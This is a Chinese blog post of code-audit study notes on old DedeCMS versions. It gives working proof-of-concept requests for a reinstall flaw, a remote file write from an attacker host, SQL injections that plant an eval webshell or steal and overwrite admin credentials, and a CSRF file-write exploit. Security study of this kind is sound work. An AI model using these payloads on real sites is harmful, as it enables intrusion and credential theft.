DedeCMS歷史版本程式碼審計學習
學習程式碼審計,自己簡單記錄一下。如有錯誤望師傅斧正。
DedeCMS重灌漏洞
這裡我們用的版本是20120430,版本檢視/data/admin/ver.txt
。
一、首先這個漏洞的本質是 Apache的解析漏洞
參考以下文章分析Apache與php的結合方式的不同造成的結果
https://www.cnblogs.com/milantgh/p/5116955.html
https://blog.csdn.net/nuanyangH/article/details/105694856
我們就當預設存在解析漏洞。當我們安裝成功DedeCMS之後會在install下存在一個index.php.bak檔案
訪問的話會提示我們,如下圖所示.
但是呢漏洞程式碼在29行,如下 進行了變數覆蓋
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v);
}
根據index.php.bak程式碼我們需要讓$step=不同的值進行下一步的安裝。所以我們的POC
install/index.php.bak?insLockfile=1&step=第幾步
所以我們用hackbar工具或者burp更加方便。
我們一直到step=3時,我們需要填寫資料庫的密碼使用者名稱了。如果簡單的還好,但是複雜我們肯定猜不到
所以我們需要一個遠端可連線的公網資料庫,將資料庫安裝到我們伺服器,網站還是在他的伺服器。
POC如下
POST /install/index.php.bak?insLockfile=1&step=4 /install/index.php.bak?insLockfile=1&step=4 step=4&dbhost=遠端地址&dbuser=使用者名稱&dbpwd=密碼&dbprefix=dede_&dbname=dede111&dblang=gbk&adminuser=admin&adminpwd=admin&cookieencode=JzIVw7439H&webname=1111&[email protected]&baseurl=http://www.xxx.com&cmspath=
DedeCMS遠端檔案包含漏洞GETSHELL
漏洞復現
這裡我們用的版本是20120430,版本檢視/data/admin/ver.txt
。
第一步我們需要準備一個遠端檔案
http://www.x.com/dedecms/demodata.a.txt //必須這樣子命名 a可以變化
第二步先訪問
http://www.x.com/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php
我們檢視結果,返回 [×] 遠端獲取失敗
第三步我們再訪問
http://www.x.com/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=2021716.php&updateHost=http://www.s.com/
[√] 存在(您可以選擇安裝進行體驗)。即可生成http://www.x.com/install/2021716.php
漏洞分析
漏洞其實還是在index.php.bak中我們發現POC中的step變成了11。我們直接去程式碼檢視
else if($step==11)
{
require_once('../data/admin/config_update.php');
$rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt";
$sql_content = file_get_contents($rmurl);
$fp = fopen($install_demo_name,'w');
if(fwrite($fp,$sql_content))
echo ' <font color="green">[√]</font> 存在(您可以選擇安裝進行體驗)';
else
echo ' <font color="red">[×]</font> 遠端獲取失敗';
unset($sql_content);
fclose($fp);
exit();
}
首先包含檔案/data/admin/config_update.php
我們去檢視時發現已經被我們覆蓋沒有了,我們檢視原檔案
其實就是兩個變數
$updateHost = 'http://updatenew.dedecms.com/base-v57/';
$linkHost = 'http://flink.dedecms.com/server_url.php';
然後我們檢視我們POC不難分析出通過$rmurl
就是拼接這個兩個東西成一個網址
file_get_contents
去獲取然後給$sql_content
然後開啟$install_demo_name
把file_get_contents
獲取的東西給$fp
然後判斷。
所以我們看我們兩個關鍵的的POC
http://www.x.com/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php
http://www.x.com/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=2021716.php&updateHost=http://www.s.com/
step=11
為了到執行我們的升級。insLockfile=a
為了我們進行安裝覆蓋原來的函式
s_lang
為了拼接{$s_lang}.txt";
這個東西。install_demo_name
就是一個檔案命名
updateHost
就是為了傳遞我們的URL
所以回到第二步$updateHost."dedecms/demodata.{$s_lang}.txt";
就是為了獲取一個不存在檔案
然後install_demo_name=../data/admin/config_update.php
就是為了把原檔案給覆蓋掉。
然後我們第三步才可以傳入自己的updateHost
DedeCMS的download檔案SQL注入和GEThsell
這裡我們用的版本是20120430
條件:
CMS版本 < 20130425 //版本檢視/data/admin/ver.txt
PHP關閉mysqli
漏洞復現
第一步訪問我們獲取shell的POC
/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=40&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=44&arrs2[]=101&arrs2[]=120&arrs2[]=112&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=44&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=41&arrs2[]=32&arrs2[]=86&arrs2[]=65&arrs2[]=76&arrs2[]=85&arrs2[]=69&arrs2[]=83&arrs2[]=40&arrs2[]=49&arrs2[]=52&arrs2[]=48&arrs2[]=44&arrs2[]=64&arrs2[]=96&arrs2[]=39&arrs2[]=96&arrs2[]=44&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=102&arrs2[]=108&arrs2[]=121&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=116&arrs2[]=121&arrs2[]=113&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=41&arrs2[]=32&arrs2[]=35&arrs2[]=32&arrs2[]=64&arrs2[]=96&arrs2[]=39&arrs2[]=96
他是用dede_mytag
這張表生成的檔案在plus
目錄。我們訪問一次,dede_mytag
就有東西了
第二步訪問
/plus/mytag_js.php?aid=140 //注意這個aid就是資料庫裡面的aid
我們會發現在plus目錄下多了一個fly.php
這就是我們的後門,密碼為tyq。這裡就不截圖了。
這裡再附上一個更改使用者名稱和密碼的POC,一會我們依次分析
/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35
//使用者名稱spider 密碼: admin
漏洞分析
我們先分析一下更改使用者名稱密碼的POC
可以看到userid
和pwd
的只,這裡pwd
為什麼是20位是因為cms
的原因前三位和後一位是沒用的中間的是16位MD5加密
然後shell POC 是這樣子
我們現在直接找到download
檔案分析一下
首先直接進去12行 看他require_once
幹了一些什麼東西,因為17行有一個$open
判斷。肯定存在賦值的。
在include/common.inc.php
79行我們又發現了這個程式碼 存在變數覆蓋。
經過以上的操作我們$open=1
然後跟蹤一下$arrs1和2就是一些acsii碼值
一直走到295行,因為上面都是一些安裝目錄的東西。
if ($GLOBALS['cfg_mysql_type'] == 'mysqli' && function_exists("mysqli_init"))
{
require_once(DEDEINC.'/dedesqli.class.php');
} else {
require_once(DEDEINC.'/dedesql.class.php');
}
我們發現cfg_mysql_type
還發現判斷是否有mysqli這個環境,因為這個漏洞點就是在dedesql.class.php
dedesqli.class.php
是沒有這個漏洞點的我們跟進去檢視一下做了什麼操作
if(isset($GLOBALS['arrs1'])) // 直接到589行
{
$v1 = $v2 = '';
for($i=0;isset($arrs1[$i]);$i++)
{
$v1 .= chr($arrs1[$i]);
}
for($i=0;isset($arrs2[$i]);$i++)
{
$v2 .= chr($arrs2[$i]);
}
$GLOBALS[$v1] .= $v2;
}
然後依次對$arrs1
和$arrs2
解碼,如下圖
然後繼續回到download到61行
繼續跟進去
前面就是一些初始化的東西,跟到254行發現SetQuery
然後把$prefix="#@__";
替換成注入的SQL語句了
然後我的語句又把後面給註釋掉了
UPDATE `dede_mytag` (aid,expbody,normbody) VALUES(140,@`'`,'{dede:php}file_put_contents(''fly.php'',''<?php eval($_POST[tyq]);?>'');{/dede:php}') # @`'`downloads` SET downloads = downloads + 1 WHERE hash='d41d8cd98f00b204e9800998ecf8427e'
然後返回到dedesql.class.php
執行了我們的SQL語句
因為我們並沒有執行成功所以返回-1賦值給$rs
於是我們進入$dsql->ExecNoneQuery($query);
同樣的方法進入setQuery
我們在資料庫也可以看到成功插進去了
然後我們為什麼訪問可以成功落地我們的fly檔案呢
http://localhost/plus/mytag_js.php?aid=140
我們去/plus/mytag_js.php
$row = $pv->dsql->GetOne(" SELECT * FROM `#@__mytag` WHERE aid='$aid' "); // 23行
把我們的寫進去的東西查詢出來
normbody={dede:php}file_put_contents('fly.php','<?php eval($_POST[tyq]);?>');{/dede:php}
然後到這裡
$tagbody = $row['normbody']; // 33行賦值給了他
跟蹤到45行我們進去
$pv->SetTemplet($tagbody, 'string');
然後前面就是一些方法賦值之類的,我們直接到149行$this->ParseTemplet();
跟蹤進去
跟到MakeOneTag
方法然後就是把$dtp
賦值給$ctag
然後就是一些遞迴目錄下檔案我們直接到544行
$dtp->Assign($tagid,$funcname($ctag,$refObj)); //544 進去
$phpcode = trim($ctag->GetInnerText()); // 而GetInnerText就是獲取$ctag中InnerText的值
然後通過eval去執行這個函式,檔案就落地了。
DedeCMS recommend檔案SQL注入漏洞
條件:
20140201之前版本通殺SQL注入 // 版本檢視/data/admin/ver.txt
漏洞復現
POC
/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\' or mid=@`\'` /*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin` limit+0,1),5,6,7,8,9%23@`\'`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=111
漏洞分析
大致整體看一下程式碼,程式碼量很少。我們也可以跟著流程走一遍再分析程式碼。
我們這裡直接一步步跟吧,因為程式碼量很少看一下require_once
幹了些什麼事情
直接進入12行/../include/common.inc.php
就是這個檔案
前面就是定義的一些函式,直接跟到79行就是開始賦值
然後呼叫函式addslashes進行轉義把我們的\'
=>\\\'
而我們POC為什麼寫\'
是有原因的。繼續分析。
然後跟蹤到118行 require_once(DEDEINC.'/uploadsafe.inc.php');
檔案,因為每個東西基本都有註釋,他註釋也說了
//轉換上傳的檔案相關的變數及安全處理、並引用前臺通用的上傳函式
所以我們嗯進去看一下 //關鍵的來了
他把\\
=>\
並且賦值給了$type
而$type
就是我們後面拼接SQL語句用的
$type=\\' or mid=@`\\'` /*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from `#@__admin` limit 0,1),5,6,7,8,9#@`\\'`
然後我們回到recommend檔案中
直接跟蹤到39行GetOne
$arcRow=$dsql->GetOne("SELECT s.*,t.* FROM `#@__member_stow` AS s LEFT JOIN `#@__member_stowtype` AS t ON s.type=t.stowname WHERE s.aid='$aid' AND s.type='$type'");
然後直接到386行,檢查SQL語句
一個正則,所以我們的SQL語句需要寫/*!50000union*//*!50000select*/
就是為了繞過正則
第二次SQL注入檢測。主要在第626行的While迴圈中,將所有單引號之間的字串全部替換成$s$
//完整的SQL檢查
while (TRUE)
{
$pos = strpos($db_string, '\'', $pos + 1);
if ($pos === FALSE)
{
break;
}
$clean .= substr($db_string, $old_pos, $pos - $old_pos);
while (TRUE)
{
$pos1 = strpos($db_string,'\'', $pos + 1);
$pos2 = strpos($db_string,'\\', $pos + 1);
if ($pos1 === FALSE)
{
break;
}
elseif ($pos2 == FALSE || $pos2> $pos1)
{
$pos = $pos1;
break;
}
$pos = $pos2 + 1;
}
$clean .= '$s$';
$old_pos = $pos + 1;
}
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '),$clean)));
經過此次過濾後,SQL語句變成(注意被替換掉的部分):
select s.*,t.* from `dede_member_stow` as sleft join `dede_member_stowtype` as t on s.type=t.stowname where s.aid=$s$ ands.type=$s$ or mid=@`\\$s$` $s$
緊接下來是另一次的union|sleep|benchmark|load_file|outfile等關鍵字檢測,此時的正則規則更嚴格,但union,select等關鍵字已被替換成$s$
,因此不會觸發正則
執行成功後返回資料給前臺顯示。
前面寫的有點亂,我們整理一下思路吧。
漏洞修復
根據官方釋出的漏洞補丁,主要修改檔案include/uploadsafe.inc.php中第29行
(上面為修復前,下面為修復後):
DedeCMS 友情連結申請 Getshell
漏洞復現
條件:
版本<20170330
準備一個連結下面放一個exp.php
<?php
//print_r($_SERVER);
$referer = $_SERVER['HTTP_REFERER'];
$dede_login = str_replace("friendlink_main.php","",$referer);//去掉friendlink_main.php,取得dede後臺的路徑
//拼接 exp
$muma = '<'.'?'.'p'.'h'.'p'.' '.'P'.'h'.'p' .'i'.'n'.'f'.'o'.'('.')'.';'.'?'.'>';
$exp = 'tpl.php?action=savetagfile&content='. $muma .'&filename=shellxxxxxx.lib.php';
$url = $dede_login.$exp;
//echo $url;
header("location: ".$url);
// send mail coder
exit();
然後去申請友情連結
去後臺檢視
點選友情連結名稱
然後發現在我們的目錄下面已經成功生成了
我們直接去訪問
漏洞分析
然後我們直接從URL下手
dede/tpl.php?action=savetagfile&content=<?php%20phpinfo();?>&filename=shellxxxxxx.lib.php
定位到檔案/dede/tq1.php
還是先進去看一下,畢竟後面要賦值
require_once(dirname(__FILE__)."/config.php");
又發現這個檔案
require_once(DEDEADMIN.'/../include/common.inc.php');
其實就是根據這個程式碼來進行的,這裡就不分析了
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v)
{
if($_k == 'nvarname')
${$_k} = $_v;
else ${$_k} = _RunMagicQuotes($_v);
}
}
}
然後直接定位引數action=savetagfile
else if($action=='savetagfile')
{
if(!preg_match("#^[a-z0-9_-]{1,}\.lib\.php$#i", $filename))
{
ShowMsg('檔名不合法,不允許進行操作!', '-1');
exit();
}
require_once(DEDEINC.'/oxwindow.class.php');
$tagname = preg_replace("#\.lib\.php$#i", "", $filename);
$content = stripslashes($content);
$truefile = DEDEINC.'/taglib/'.$filename;
$fp = fopen($truefile, 'w');
fwrite($fp, $content);
fclose($fp);
根據程式碼,所以我們的檔名需要符合.lib.php
,然後就是一些寫入的操作
漏洞修復
這個漏洞的本質其實就是CSRF漏洞的修復
DedeCMS 密碼修改漏洞
推薦:https://paper.seebug.org/507/
師傅寫的很好。自己跟一遍理解一下很有意思的。
DedeCMS後臺路徑爆破
推薦:https://zhuanlan.zhihu.com/p/142945516
和我寫PHPCMS爆破同理,有興趣師傅可以看一下PHPCMS程式碼審計